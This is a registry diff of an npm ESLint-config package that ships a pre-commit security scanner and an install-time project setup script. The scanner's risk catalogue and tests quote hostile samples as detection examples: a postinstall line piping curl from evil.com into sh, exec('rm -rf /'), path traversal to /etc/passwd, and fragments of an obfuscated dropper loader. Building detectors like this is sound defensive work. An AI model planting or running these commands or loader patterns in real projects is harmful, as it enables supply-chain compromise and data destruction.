@archpublicwebsite/eslint-config 1.0.20 → 1.0.22

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -25,10 +25,10 @@
25
25
  */
26
26
  export const SEVERITY_SCORE = {
27
27
  critical: 4, // CVSS 9.0 – 10.0 → block commit AND push
28
- high: 3, // CVSS 7.0 – 8.9 → block commit AND push
29
- medium: 2, // CVSS 4.0 – 6.9 → warn; never blocks by default
30
- low: 1, // CVSS 0.1 – 3.9 → info only
31
- info: 0, // Informational → no action required
28
+ high: 3, // CVSS 7.0 – 8.9 → block commit AND push
29
+ medium: 2, // CVSS 4.0 – 6.9 → warn; never blocks by default
30
+ low: 1, // CVSS 0.1 – 3.9 → info only
31
+ info: 0, // Informational → no action required
32
32
  }
33
33
 
34
34
  /**
@@ -63,8 +63,8 @@ export const RISK_CATEGORIES = [
63
63
  owasp: 'A03:2021 – Injection',
64
64
  atlas: ['AML.T0051 – LLM Prompt Injection', 'AML.T0010 – ML Supply Chain Compromise'],
65
65
  description:
66
- 'Code that allows an attacker to execute arbitrary instructions on the host machine. '
67
- + 'Vectors include eval(), new Function(), child_process.exec(), and dynamic require().',
66
+ 'Code that allows an attacker to execute arbitrary instructions on the host machine. ' +
67
+ 'Vectors include eval(), new Function(), child_process.exec(), and dynamic require().',
68
68
  severity: 'critical',
69
69
  examples: ['eval(userInput)', 'new Function(str)()', "exec('rm -rf /')"],
70
70
  },
@@ -76,9 +76,9 @@ export const RISK_CATEGORIES = [
76
76
  owasp: 'A08:2021 – Software and Data Integrity Failures',
77
77
  atlas: ['AML.T0010 – ML Supply Chain Compromise', 'AML.T0020 – Poison Training Data'],
78
78
  description:
79
- 'Base64, hex-encoding, or shuffle-cipher patterns used to conceal malicious payloads '
80
- + 'from static analysis. Characteristic of supply-chain dropper attacks (event-stream, '
81
- + 'ua-parser-js, polyfill.io).',
79
+ 'Base64, hex-encoding, or shuffle-cipher patterns used to conceal malicious payloads ' +
80
+ 'from static analysis. Characteristic of supply-chain dropper attacks (event-stream, ' +
81
+ 'ua-parser-js, polyfill.io).',
82
82
  severity: 'high',
83
83
  examples: ["Buffer.from('abc', 'base64')", 'String.fromCharCode(104,101,...)', '_$_1e42[0]'],
84
84
  },
@@ -90,11 +90,11 @@ export const RISK_CATEGORIES = [
90
90
  owasp: 'A03:2021 – Injection',
91
91
  atlas: [],
92
92
  description:
93
- 'Modification of Object.prototype or constructor.prototype allows an attacker to '
94
- + 'inject properties onto every object in the runtime, which can escalate to RCE '
95
- + 'in some server-side Node.js frameworks.',
93
+ 'Modification of Object.prototype or constructor.prototype allows an attacker to ' +
94
+ 'inject properties onto every object in the runtime, which can escalate to RCE ' +
95
+ 'in some server-side Node.js frameworks.',
96
96
  severity: 'high',
97
- examples: ["obj.__proto__ = {admin: true}", "Object.prototype['x'] = fn"],
97
+ examples: ['obj.__proto__ = {admin: true}', "Object.prototype['x'] = fn"],
98
98
  },
99
99
 
100
100
  // ── A4: XSS / DOM injection ────────────────────────────────────────────────
@@ -104,9 +104,9 @@ export const RISK_CATEGORIES = [
104
104
  owasp: 'A03:2021 – Injection',
105
105
  atlas: [],
106
106
  description:
107
- 'Unsanitised content written to the DOM via innerHTML, outerHTML, document.write(), '
108
- + 'insertAdjacentHTML(), or Vue v-html allows attackers to execute scripts in the '
109
- + "victim's browser context.",
107
+ 'Unsanitised content written to the DOM via innerHTML, outerHTML, document.write(), ' +
108
+ 'insertAdjacentHTML(), or Vue v-html allows attackers to execute scripts in the ' +
109
+ "victim's browser context.",
110
110
  severity: 'high',
111
111
  examples: ['el.innerHTML = userInput', 'document.write(data)', '<div v-html="content">'],
112
112
  },
@@ -118,9 +118,9 @@ export const RISK_CATEGORIES = [
118
118
  owasp: 'A02:2021 – Cryptographic Failures',
119
119
  atlas: [],
120
120
  description:
121
- 'API keys, tokens, passwords, or private keys committed to source code. '
122
- + 'Exposed secrets are frequently scraped from public repositories by automated bots '
123
- + 'within minutes of exposure.',
121
+ 'API keys, tokens, passwords, or private keys committed to source code. ' +
122
+ 'Exposed secrets are frequently scraped from public repositories by automated bots ' +
123
+ 'within minutes of exposure.',
124
124
  severity: 'critical',
125
125
  examples: ['const API_KEY = "sk-..."', 'password: "hunter2"', 'PRIVATE_KEY = "-----BEGIN RSA"'],
126
126
  },
@@ -132,9 +132,9 @@ export const RISK_CATEGORIES = [
132
132
  owasp: 'A08:2021 – Software and Data Integrity Failures',
133
133
  atlas: ['AML.T0010 – ML Supply Chain Compromise', 'AML.T0020 – Poison Training Data'],
134
134
  description:
135
- 'Malicious code injected via npm package install scripts (preinstall/postinstall), '
136
- + 'typosquatted package names, or compromised transitive dependencies. '
137
- + 'Covers curl/wget downloads, base64 exec, and credential theft at install time.',
135
+ 'Malicious code injected via npm package install scripts (preinstall/postinstall), ' +
136
+ 'typosquatted package names, or compromised transitive dependencies. ' +
137
+ 'Covers curl/wget downloads, base64 exec, and credential theft at install time.',
138
138
  severity: 'critical',
139
139
  examples: ['postinstall: "curl http://evil.com | sh"', 'require("logify-utils") // typosquat'],
140
140
  },
@@ -146,9 +146,9 @@ export const RISK_CATEGORIES = [
146
146
  owasp: 'A01:2021 – Broken Access Control',
147
147
  atlas: [],
148
148
  description:
149
- 'User-controlled input used in file-system operations without sanitisation. '
150
- + 'Allows attackers to read, write, or delete files outside the intended directory '
151
- + "(e.g., reading /etc/passwd via '../../etc/passwd').",
149
+ 'User-controlled input used in file-system operations without sanitisation. ' +
150
+ 'Allows attackers to read, write, or delete files outside the intended directory ' +
151
+ "(e.g., reading /etc/passwd via '../../etc/passwd').",
152
152
  severity: 'high',
153
153
  examples: ['fs.readFile(req.params.file)', "path.join(base, '../../../etc/passwd')"],
154
154
  },
@@ -160,9 +160,9 @@ export const RISK_CATEGORIES = [
160
160
  owasp: 'A10:2021 – Server-Side Request Forgery',
161
161
  atlas: [],
162
162
  description:
163
- 'Outbound HTTP requests made with a URL derived from user input, allowing attackers '
164
- + 'to probe internal services, cloud metadata APIs (169.254.169.254), or other '
165
- + 'resources not directly accessible from the internet.',
163
+ 'Outbound HTTP requests made with a URL derived from user input, allowing attackers ' +
164
+ 'to probe internal services, cloud metadata APIs (169.254.169.254), or other ' +
165
+ 'resources not directly accessible from the internet.',
166
166
  severity: 'high',
167
167
  examples: ['fetch(req.body.url)', 'axios.get(userSuppliedUrl)'],
168
168
  },
@@ -174,9 +174,9 @@ export const RISK_CATEGORIES = [
174
174
  owasp: 'A06:2021 – Vulnerable and Outdated Components',
175
175
  atlas: [],
176
176
  description:
177
- 'Pathological regular expressions with nested quantifiers on overlapping character '
178
- + 'classes cause catastrophic backtracking, making the Node.js event loop unresponsive. '
179
- + 'User-controlled input matched against such patterns is a DoS vector.',
177
+ 'Pathological regular expressions with nested quantifiers on overlapping character ' +
178
+ 'classes cause catastrophic backtracking, making the Node.js event loop unresponsive. ' +
179
+ 'User-controlled input matched against such patterns is a DoS vector.',
180
180
  severity: 'medium',
181
181
  examples: ['/(a+)+$/', '/([a-zA-Z]+)*/', '/(a|aa)+$/'],
182
182
  },
@@ -188,9 +188,9 @@ export const RISK_CATEGORIES = [
188
188
  owasp: 'A08:2021 – Software and Data Integrity Failures',
189
189
  atlas: ['AML.T0024 – Exfiltration via ML Inference API'],
190
190
  description:
191
- 'Network modules (http, https, dns, net) or child_process imported inside Tailwind, '
192
- + 'Vite, PostCSS, or ESLint config files. Build tools are executed with elevated '
193
- + 'privileges and full file-system access — making them a prime exfiltration vector.',
191
+ 'Network modules (http, https, dns, net) or child_process imported inside Tailwind, ' +
192
+ 'Vite, PostCSS, or ESLint config files. Build tools are executed with elevated ' +
193
+ 'privileges and full file-system access — making them a prime exfiltration vector.',
194
194
  severity: 'critical',
195
195
  examples: ["import https from 'node:https' // in tailwind.config.ts"],
196
196
  },
@@ -44,11 +44,7 @@ import {
44
44
  printSupplyFinding,
45
45
  shouldSkip,
46
46
  } from './scanner.mjs'
47
- import {
48
- getRepoRoot,
49
- getStagedNameStatus,
50
- runSafe,
51
- } from '../git-hooks/shared.mjs'
47
+ import { getRepoRoot, getStagedNameStatus, runSafe } from '../git-hooks/shared.mjs'
52
48
 
53
49
  // ─── Read staged file content ──────────────────────────────────────────────────
54
50
 
@@ -70,8 +66,8 @@ function readStagedContent(filePath) {
70
66
  */
71
67
  function scanStagedFiles() {
72
68
  const staged = getStagedNameStatus()
73
- const toScan = staged.filter(({ status, path }) =>
74
- ['A', 'M'].includes(status[0]) && SCAN_EXTENSIONS.has(extname(path)),
69
+ const toScan = staged.filter(
70
+ ({ status, path }) => ['A', 'M'].includes(status[0]) && SCAN_EXTENSIONS.has(extname(path))
75
71
  )
76
72
  if (toScan.length === 0) return []
77
73
 
@@ -81,7 +77,10 @@ function scanStagedFiles() {
81
77
  let skipped = 0
82
78
 
83
79
  for (const { path: filePath } of toScan) {
84
- if (shouldSkip(filePath)) { skipped++; continue }
80
+ if (shouldSkip(filePath)) {
81
+ skipped++
82
+ continue
83
+ }
85
84
 
86
85
  const content = readStagedContent(filePath)
87
86
  if (!content) continue
@@ -91,7 +90,7 @@ function scanStagedFiles() {
91
90
 
92
91
  findings.push(
93
92
  ...collectPatternFindings(lines, isConfig, filePath),
94
- ...collectObfuscatedLineFindings(lines, filePath),
93
+ ...collectObfuscatedLineFindings(lines, filePath)
95
94
  )
96
95
  }
97
96
 
@@ -111,10 +110,9 @@ function scanStagedFiles() {
111
110
  */
112
111
  function getNewlyAddedPackages() {
113
112
  const staged = getStagedNameStatus()
114
- const pkgFiles = staged.filter(({ status, path }) =>
115
- ['A', 'M'].includes(status[0])
116
- && path.endsWith('package.json')
117
- && !path.includes('node_modules'),
113
+ const pkgFiles = staged.filter(
114
+ ({ status, path }) =>
115
+ ['A', 'M'].includes(status[0]) && path.endsWith('package.json') && !path.includes('node_modules')
118
116
  )
119
117
  if (pkgFiles.length === 0) return []
120
118
 
@@ -131,8 +129,9 @@ function getNewlyAddedPackages() {
131
129
  }
132
130
  }
133
131
  return all
132
+ } catch {
133
+ return new Set()
134
134
  }
135
- catch { return new Set() }
136
135
  }
137
136
 
138
137
  const added = new Set()
@@ -156,8 +155,11 @@ function checkInstallScripts(pkgName, repoRoot) {
156
155
  if (!existsSync(pkgJsonPath)) return []
157
156
 
158
157
  let pkg
159
- try { pkg = JSON.parse(readFileSync(pkgJsonPath, 'utf8')) }
160
- catch { return [] }
158
+ try {
159
+ pkg = JSON.parse(readFileSync(pkgJsonPath, 'utf8'))
160
+ } catch {
161
+ return []
162
+ }
161
163
 
162
164
  const findings = []
163
165
  for (const scriptName of ['preinstall', 'install', 'postinstall']) {
@@ -199,7 +201,7 @@ function scanNewDependencies(repoRoot) {
199
201
 
200
202
  process.stdout.write(`\nSupply-chain scan: ${newPkgs.length} newly added package(s)...\n`)
201
203
 
202
- return newPkgs.flatMap((pkgName) => {
204
+ return newPkgs.flatMap(pkgName => {
203
205
  const findings = []
204
206
  const similar = detectTyposquat(pkgName)
205
207
  if (similar) {
@@ -220,7 +222,7 @@ function scanNewDependencies(repoRoot) {
220
222
  function runAudit(repoRoot) {
221
223
  if (process.env.SECURITY_AUDIT !== '1') return
222
224
 
223
- process.stdout.write(`\nRunning pnpm audit (SECURITY_AUDIT=1)...\n`)
225
+ process.stdout.write('\nRunning pnpm audit (SECURITY_AUDIT=1)...\n')
224
226
  const result = runSafe('pnpm audit --audit-level=high 2>&1')
225
227
  if (result) process.stdout.write(`${DIM}${result}${R}\n`)
226
228
  }
@@ -230,8 +232,8 @@ function runAudit(repoRoot) {
230
232
  function main() {
231
233
  if (process.env.SKIP_SECURITY_SCAN === '1') {
232
234
  process.stderr.write(
233
- `\n${YLW}${BOLD}⚠ SKIP_SECURITY_SCAN=1 — all security checks bypassed.${R}\n`
234
- + `${YLW} This bypass is intentional and has been logged.${R}\n\n`,
235
+ `\n${YLW}${BOLD}⚠ SKIP_SECURITY_SCAN=1 — all security checks bypassed.${R}\n` +
236
+ `${YLW} This bypass is intentional and has been logged.${R}\n\n`
235
237
  )
236
238
  return
237
239
  }
@@ -240,7 +242,7 @@ function main() {
240
242
 
241
243
  printScanHeader('@archipelago/security-scan', 'socket.dev-style pre-commit guard')
242
244
 
243
- const fileFindings = scanStagedFiles()
245
+ const fileFindings = scanStagedFiles()
244
246
  const supplyFindings = scanNewDependencies(repoRoot)
245
247
 
246
248
  runAudit(repoRoot)
@@ -13,24 +13,28 @@ import { CONFIG_FILE_PATTERNS, FILE_PATTERNS, POPULAR_PACKAGES } from './pattern
13
13
 
14
14
  // ─── ANSI colours ──────────────────────────────────────────────────────────────
15
15
 
16
- export const R = '\x1b[0m'
17
- export const RED = '\x1b[31m'
18
- export const YLW = '\x1b[33m'
19
- export const CYN = '\x1b[36m'
20
- export const GRN = '\x1b[32m'
16
+ export const R = '\x1b[0m'
17
+ export const RED = '\x1b[31m'
18
+ export const YLW = '\x1b[33m'
19
+ export const CYN = '\x1b[36m'
20
+ export const GRN = '\x1b[32m'
21
21
  export const BOLD = '\x1b[1m'
22
- export const DIM = '\x1b[2m'
23
- export const HR = `\x1b[2m${'─'.repeat(62)}\x1b[0m`
22
+ export const DIM = '\x1b[2m'
23
+ export const HR = `\x1b[2m${'─'.repeat(62)}\x1b[0m`
24
24
 
25
25
  // ─── Severity badge ────────────────────────────────────────────────────────────
26
26
 
27
27
  /** @param {'critical'|'high'|'medium'|'low'} severity */
28
28
  export function badge(severity) {
29
29
  switch (severity) {
30
- case 'critical': return `${RED}${BOLD}[CRITICAL]${R}`
31
- case 'high': return `${RED}[HIGH] ${R}`
32
- case 'medium': return `${YLW}[MEDIUM] ${R}`
33
- default: return `${CYN}[LOW] ${R}`
30
+ case 'critical':
31
+ return `${RED}${BOLD}[CRITICAL]${R}`
32
+ case 'high':
33
+ return `${RED}[HIGH] ${R}`
34
+ case 'medium':
35
+ return `${YLW}[MEDIUM] ${R}`
36
+ default:
37
+ return `${CYN}[LOW] ${R}`
34
38
  }
35
39
  }
36
40
 
@@ -43,6 +47,7 @@ export function badge(severity) {
43
47
  */
44
48
  export const SELF_REFERENTIAL_SCAN_EXCLUSIONS = [
45
49
  'packages/eslint-config/eslint.config.mjs',
50
+ 'packages/eslint-config/tools/git-hooks/pre-commit.mjs',
46
51
  'packages/eslint-config/tools/git-hooks/pre-push.mjs',
47
52
  'packages/eslint-config/tools/security/patterns.mjs',
48
53
  'packages/eslint-config/tools/security/risks.mjs',
@@ -142,9 +147,7 @@ export function levenshtein(a, b) {
142
147
  for (let j = 0; j <= b.length; j++) dp[0][j] = j
143
148
  for (let i = 1; i <= a.length; i++) {
144
149
  for (let j = 1; j <= b.length; j++) {
145
- dp[i][j] = a[i - 1] === b[j - 1]
146
- ? dp[i - 1][j - 1]
147
- : 1 + Math.min(dp[i - 1][j], dp[i][j - 1], dp[i - 1][j - 1])
150
+ dp[i][j] = a[i - 1] === b[j - 1] ? dp[i - 1][j - 1] : 1 + Math.min(dp[i - 1][j], dp[i][j - 1], dp[i - 1][j - 1])
148
151
  }
149
152
  }
150
153
  return dp[a.length][b.length]
@@ -217,9 +220,7 @@ export function printScanHeader(title, subtitle) {
217
220
  export function printScanFooter(blocking, warnings, blockMessage, bypassHint) {
218
221
  console.log(`\n${HR}`)
219
222
  if (blocking.length === 0) {
220
- const warnNote = warnings.length > 0
221
- ? ` ${DIM}(${warnings.length} warning(s) — review recommended)${R}`
222
- : ''
223
+ const warnNote = warnings.length > 0 ? ` ${DIM}(${warnings.length} warning(s) — review recommended)${R}` : ''
223
224
  console.log(` ${GRN}${BOLD}✔ Security scan passed${R}${warnNote}`)
224
225
  console.log(HR)
225
226
  console.log()
@@ -21,34 +21,34 @@ const testCases = [
21
21
  {
22
22
  label: 'Dropper — global require hijack',
23
23
  expectedId: 'require-global-hijack',
24
- line: "global[_$_1e42[0]]= require;",
24
+ line: 'global[_$_1e42[0]]= require;',
25
25
  },
26
26
  {
27
27
  label: 'Dropper — global bracket assignment via decoded array',
28
28
  expectedId: 'global-bracket-assignment',
29
- line: "global[_$_1e42[2]]= module",
29
+ line: 'global[_$_1e42[2]]= module',
30
30
  },
31
31
  {
32
32
  label: 'Dropper — obfuscated _$_ variable names',
33
33
  expectedId: 'obfuscated-variable-names',
34
- line: "var _$_1e42=(function(l,e){var h=l.length;var g=[];",
34
+ line: 'var _$_1e42=(function(l,e){var h=l.length;var g=[];',
35
35
  },
36
36
  {
37
37
  label: 'Dropper — shuffle-cipher IIFE bootstrap',
38
38
  expectedId: 'shuffle-cipher-iife',
39
- line: `var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j<h;j++){g[j]=l.charAt(j)};for(var j=0;j<h;j++){var s=e*(j+489)+(e%19597);var w=e*(j+659)+(e%48014);var t=s%h;var p=w%h;var y=g[t];g[t]=g[p];g[p]=y;e=(s+w)%4573868};return g.join('')})("rmcej%otb%",2857687)`,
39
+ line: 'var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j<h;j++){g[j]=l.charAt(j)};for(var j=0;j<h;j++){var s=e*(j+489)+(e%19597);var w=e*(j+659)+(e%48014);var t=s%h;var p=w%h;var y=g[t];g[t]=g[p];g[p]=y;e=(s+w)%4573868};return g.join(\'\')})("rmcej%otb%",2857687)',
40
40
  },
41
41
  {
42
42
  label: 'Dropper — array-based Function call chain (final execution)',
43
43
  expectedId: 'array-fn-call-chain',
44
- line: "var Tgw=jFD(LQI,pYd );Tgw(2509);",
44
+ line: 'var Tgw=jFD(LQI,pYd );Tgw(2509);',
45
45
  },
46
46
 
47
47
  // ── Classic attack patterns ───────────────────────────────────────────────
48
48
  {
49
49
  label: 'eval() call',
50
50
  expectedId: 'no-eval',
51
- line: "const x = eval(someVar)",
51
+ line: 'const x = eval(someVar)',
52
52
  },
53
53
  {
54
54
  label: 'new Function() call',
@@ -58,22 +58,22 @@ const testCases = [
58
58
  {
59
59
  label: 'Buffer base64 decode',
60
60
  expectedId: 'base64-decode',
61
- line: `const payload = Buffer.from('abc123', 'base64').toString()`,
61
+ line: "const payload = Buffer.from('abc123', 'base64').toString()",
62
62
  },
63
63
  {
64
64
  label: 'String.fromCharCode obfuscation',
65
65
  expectedId: 'charcode-obfuscation',
66
- line: "const s = String.fromCharCode(104, 101, 108, 108, 111, 32, 119, 111, 114)",
66
+ line: 'const s = String.fromCharCode(104, 101, 108, 108, 111, 32, 119, 111, 114)',
67
67
  },
68
68
  {
69
69
  label: 'Hex-escaped string payload',
70
70
  expectedId: 'hex-string-obfuscation',
71
- line: `const k='\\x68\\x65\\x6c\\x6c\\x6f\\x77\\x6f\\x72\\x6c\\x64\\x68\\x65\\x6c\\x6c\\x6f\\x77\\x6f\\x72\\x6c\\x64\\x20\\x68'`,
71
+ line: "const k='\\x68\\x65\\x6c\\x6c\\x6f\\x77\\x6f\\x72\\x6c\\x64\\x68\\x65\\x6c\\x6c\\x6f\\x77\\x6f\\x72\\x6c\\x64\\x20\\x68'",
72
72
  },
73
73
  {
74
74
  label: 'Prototype pollution',
75
75
  expectedId: 'prototype-pollution',
76
- line: "obj.__proto__ = { admin: true }",
76
+ line: 'obj.__proto__ = { admin: true }',
77
77
  },
78
78
  {
79
79
  label: 'child_process in config',
@@ -97,14 +97,11 @@ for (const tc of testCases) {
97
97
  console.log(`${GRN}✔${R} ${tc.label}`)
98
98
  console.log(` ${YLW}→ [${hit.severity.toUpperCase()}] ${hit.id}${R}`)
99
99
  passed++
100
- }
101
- else {
100
+ } else {
102
101
  console.log(`${RED}${BOLD}✖ ${tc.label}${R}`)
103
102
  console.log(` Expected pattern id: ${tc.expectedId}`)
104
- if (matched.length > 0)
105
- console.log(` (other matches: ${matched.map(p => p.id).join(', ')})`)
106
- else
107
- console.log(` (no patterns matched this line)`)
103
+ if (matched.length > 0) console.log(` (other matches: ${matched.map(p => p.id).join(', ')})`)
104
+ else console.log(' (no patterns matched this line)')
108
105
  failed++
109
106
  }
110
107
  }
@@ -13,19 +13,16 @@ function log(msg) {
13
13
 
14
14
  function getProjectRoot() {
15
15
  const root = process.env.INIT_CWD || process.cwd()
16
- if (!existsSync(join(root, 'package.json')))
17
- return null
16
+ if (!existsSync(join(root, 'package.json'))) return null
18
17
  return root
19
18
  }
20
19
 
21
20
  function ensureDir(dirPath) {
22
- if (!existsSync(dirPath))
23
- mkdirSync(dirPath, { recursive: true })
21
+ if (!existsSync(dirPath)) mkdirSync(dirPath, { recursive: true })
24
22
  }
25
23
 
26
24
  function writeIfMissing(filePath, content) {
27
- if (existsSync(filePath))
28
- return false
25
+ if (existsSync(filePath)) return false
29
26
  writeFileSync(filePath, content, 'utf8')
30
27
  return true
31
28
  }
@@ -56,8 +53,7 @@ indent_size = 2
56
53
  [Makefile]
57
54
  indent_style = tab
58
55
  `
59
- if (writeIfMissing(editorConfigPath, content))
60
- log('Created .editorconfig')
56
+ if (writeIfMissing(editorConfigPath, content)) log('Created .editorconfig')
61
57
  }
62
58
 
63
59
  // ─── .eslint-user-ignore ────────────────────────────────────────────────────
@@ -80,8 +76,7 @@ function ensureEslintUserIgnore(projectRoot) {
80
76
  # docs/**
81
77
  # *.pdf
82
78
  `
83
- if (writeIfMissing(ignorePath, content))
84
- log('Created .eslint-user-ignore')
79
+ if (writeIfMissing(ignorePath, content)) log('Created .eslint-user-ignore')
85
80
  }
86
81
 
87
82
  // ─── eslint.config.mjs ─────────────────────────────────────────────────────
@@ -97,13 +92,20 @@ export default createArchipelagoConfig({
97
92
  },
98
93
  })
99
94
  `
100
- if (writeIfMissing(eslintConfigPath, content))
101
- log('Created eslint.config.mjs')
95
+ if (writeIfMissing(eslintConfigPath, content)) log('Created eslint.config.mjs')
102
96
  }
103
97
 
104
98
  // ─── .prettierrc ────────────────────────────────────────────────────────────
105
99
 
106
100
  function ensurePrettierConfig(projectRoot) {
101
+ const prettierModuleConfigPath = join(projectRoot, 'prettier.config.mjs')
102
+ const prettierModuleConfigContent = `import config from '@archpublicwebsite/eslint-config/prettier'
103
+
104
+ export default config
105
+ `
106
+
107
+ if (writeIfMissing(prettierModuleConfigPath, prettierModuleConfigContent)) log('Created prettier.config.mjs')
108
+
107
109
  const prettierPath = join(projectRoot, '.prettierrc')
108
110
  const defaults = {
109
111
  plugins: ['prettier-plugin-tailwindcss'],
@@ -126,18 +128,47 @@ function ensurePrettierConfig(projectRoot) {
126
128
  const plugins = Array.isArray(current.plugins) ? current.plugins : []
127
129
  const deduped = [...new Set([...plugins, 'prettier-plugin-tailwindcss'])]
128
130
  current.plugins = deduped
129
- if (typeof current.singleQuote !== 'boolean')
130
- current.singleQuote = true
131
- if (typeof current.semi !== 'boolean')
132
- current.semi = false
131
+ if (typeof current.singleQuote !== 'boolean') current.singleQuote = true
132
+ if (typeof current.semi !== 'boolean') current.semi = false
133
133
  writeFileSync(prettierPath, `${JSON.stringify(current, null, 2)}\n`, 'utf8')
134
134
  log('Updated .prettierrc')
135
- }
136
- catch {
135
+ } catch {
137
136
  // Keep existing file untouched if it is not JSON.
138
137
  }
139
138
  }
140
139
 
140
+ function ensureCommitlintConfig(projectRoot) {
141
+ const commitlintConfigPath = join(projectRoot, 'commitlint.config.cjs')
142
+ const content = `module.exports = require('@archpublicwebsite/eslint-config/commitlint')
143
+ `
144
+ if (writeIfMissing(commitlintConfigPath, content)) log('Created commitlint.config.cjs')
145
+ }
146
+
147
+ function ensureLintStagedConfig(projectRoot) {
148
+ const lintStagedConfigPath = join(projectRoot, 'lint-staged.config.mjs')
149
+ const content = `import config from '@archpublicwebsite/eslint-config/lint-staged'
150
+
151
+ export default config
152
+ `
153
+ if (writeIfMissing(lintStagedConfigPath, content)) log('Created lint-staged.config.mjs')
154
+ }
155
+
156
+ function ensurePrettierIgnore(projectRoot) {
157
+ const prettierIgnorePath = join(projectRoot, '.prettierignore')
158
+ const content = `node_modules
159
+ dist
160
+ coverage
161
+ .nuxt
162
+ .output
163
+ .next
164
+ .turbo
165
+ pnpm-lock.yaml
166
+ package-lock.json
167
+ yarn.lock
168
+ `
169
+ if (writeIfMissing(prettierIgnorePath, content)) log('Created .prettierignore')
170
+ }
171
+
141
172
  // ─── .hooks ─────────────────────────────────────────────────────────────────
142
173
 
143
174
  function ensureHooks(projectRoot) {
@@ -189,18 +220,15 @@ node node_modules/@archpublicwebsite/eslint-config/tools/git-hooks/pre-push.mjs
189
220
  created = true
190
221
  }
191
222
  })
192
- if (created)
193
- log('Created .hooks/ (pre-commit, prepare-commit-msg, commit-msg, post-commit, pre-push)')
223
+ if (created) log('Created .hooks/ (pre-commit, prepare-commit-msg, commit-msg, post-commit, pre-push)')
194
224
  }
195
225
 
196
226
  function ensureHooksPath(projectRoot) {
197
- if (!existsSync(join(projectRoot, '.git')))
198
- return
227
+ if (!existsSync(join(projectRoot, '.git'))) return
199
228
  try {
200
229
  execSync('git config core.hooksPath .hooks', { cwd: projectRoot, stdio: 'ignore' })
201
230
  log('Set git core.hooksPath → .hooks')
202
- }
203
- catch {
231
+ } catch {
204
232
  // Ignore setup failures in non-git contexts.
205
233
  }
206
234
  }
@@ -240,17 +268,22 @@ function ensurePackageScripts(projectRoot) {
240
268
  let pkg
241
269
  try {
242
270
  pkg = JSON.parse(readFileSync(packageJsonPath, 'utf8'))
243
- }
244
- catch {
271
+ } catch {
245
272
  return
246
273
  }
247
274
 
248
275
  const scripts = pkg.scripts && typeof pkg.scripts === 'object' ? pkg.scripts : {}
249
276
  const desiredScripts = {
277
+ lint: 'eslint .',
278
+ 'lint:fix': 'eslint . --fix',
279
+ format: 'prettier . --write',
280
+ typecheck: 'tsc --noEmit',
281
+ 'lint-staged': 'lint-staged',
250
282
  precommit: 'node node_modules/@archpublicwebsite/eslint-config/tools/git-hooks/pre-commit.mjs',
251
283
  prepush: 'node node_modules/@archpublicwebsite/eslint-config/tools/git-hooks/pre-push.mjs',
252
284
  'security:global-scan': 'bash ./node_modules/@archpublicwebsite/eslint-config/tools/security/scan-global.sh',
253
- 'security:safe-check': 'bash ./node_modules/@archpublicwebsite/eslint-config/tools/security/safe-reinstall.sh --check-only',
285
+ 'security:safe-check':
286
+ 'bash ./node_modules/@archpublicwebsite/eslint-config/tools/security/safe-reinstall.sh --check-only',
254
287
  'security:pre-push': 'node node_modules/@archpublicwebsite/eslint-config/tools/git-hooks/pre-push.mjs',
255
288
  }
256
289
 
@@ -262,13 +295,26 @@ function ensurePackageScripts(projectRoot) {
262
295
  }
263
296
  }
264
297
 
298
+ const lintStagedConfigPath = join(projectRoot, 'lint-staged.config.mjs')
299
+ const hasLintStagedConfig = existsSync(lintStagedConfigPath)
300
+
301
+ // Auto-heal legacy/broken lint-staged script when it points to a missing file.
302
+ if (
303
+ typeof scripts['lint-staged'] === 'string' &&
304
+ scripts['lint-staged'].includes('--config lint-staged.config.mjs') &&
305
+ !hasLintStagedConfig
306
+ ) {
307
+ scripts['lint-staged'] = 'lint-staged'
308
+ updated = true
309
+ }
310
+
265
311
  if (!updated) {
266
312
  return
267
313
  }
268
314
 
269
315
  pkg.scripts = scripts
270
316
  writeFileSync(packageJsonPath, `${JSON.stringify(pkg, null, 2)}\n`, 'utf8')
271
- log('Updated package.json scripts (precommit, security:global-scan, security:safe-check)')
317
+ log('Updated package.json scripts (lint-staged, precommit, security:global-scan, security:safe-check)')
272
318
  }
273
319
 
274
320
  // ─── .vscode/extensions.json ────────────────────────────────────────────────
@@ -279,26 +325,24 @@ function ensureVscodeExtensions(projectRoot) {
279
325
 
280
326
  ensureDir(vscodeDir)
281
327
 
282
- const recommended = [
283
- 'dbaeumer.vscode-eslint',
284
- 'esbenp.prettier-vscode',
285
- 'vue.volar',
286
- ]
328
+ const recommended = ['dbaeumer.vscode-eslint', 'esbenp.prettier-vscode', 'vue.volar']
329
+ const unwanted = ['octref.vetur', 'vue.vscode-typescript-vue-plugin']
287
330
 
288
- let current = { recommendations: [] }
331
+ let current = { recommendations: [], unwantedRecommendations: [] }
289
332
  if (existsSync(extPath)) {
290
333
  try {
291
334
  current = JSON.parse(readFileSync(extPath, 'utf8'))
292
- if (!Array.isArray(current.recommendations))
293
- current.recommendations = []
294
- }
295
- catch {
296
- current = { recommendations: [] }
335
+ if (!Array.isArray(current.recommendations)) current.recommendations = []
336
+ if (!Array.isArray(current.unwantedRecommendations)) current.unwantedRecommendations = []
337
+ } catch {
338
+ current = { recommendations: [], unwantedRecommendations: [] }
297
339
  }
298
340
  }
299
341
 
300
342
  const merged = [...new Set([...current.recommendations, ...recommended])]
343
+ const mergedUnwanted = [...new Set([...current.unwantedRecommendations, ...unwanted])]
301
344
  current.recommendations = merged
345
+ current.unwantedRecommendations = mergedUnwanted
302
346
  writeFileSync(extPath, `${JSON.stringify(current, null, 2)}\n`, 'utf8')
303
347
  log('Created/updated .vscode/extensions.json')
304
348
  }
@@ -307,8 +351,7 @@ function ensureVscodeExtensions(projectRoot) {
307
351
 
308
352
  function main() {
309
353
  const projectRoot = getProjectRoot()
310
- if (!projectRoot)
311
- return
354
+ if (!projectRoot) return
312
355
 
313
356
  log('Setting up project...')
314
357
 
@@ -316,6 +359,9 @@ function main() {
316
359
  ensureEslintUserIgnore(projectRoot)
317
360
  ensureEslintConfig(projectRoot)
318
361
  ensurePrettierConfig(projectRoot)
362
+ ensurePrettierIgnore(projectRoot)
363
+ ensureCommitlintConfig(projectRoot)
364
+ ensureLintStagedConfig(projectRoot)
319
365
  ensureHooks(projectRoot)
320
366
  ensureHooksPath(projectRoot)
321
367
  ensureSecurityScripts(projectRoot)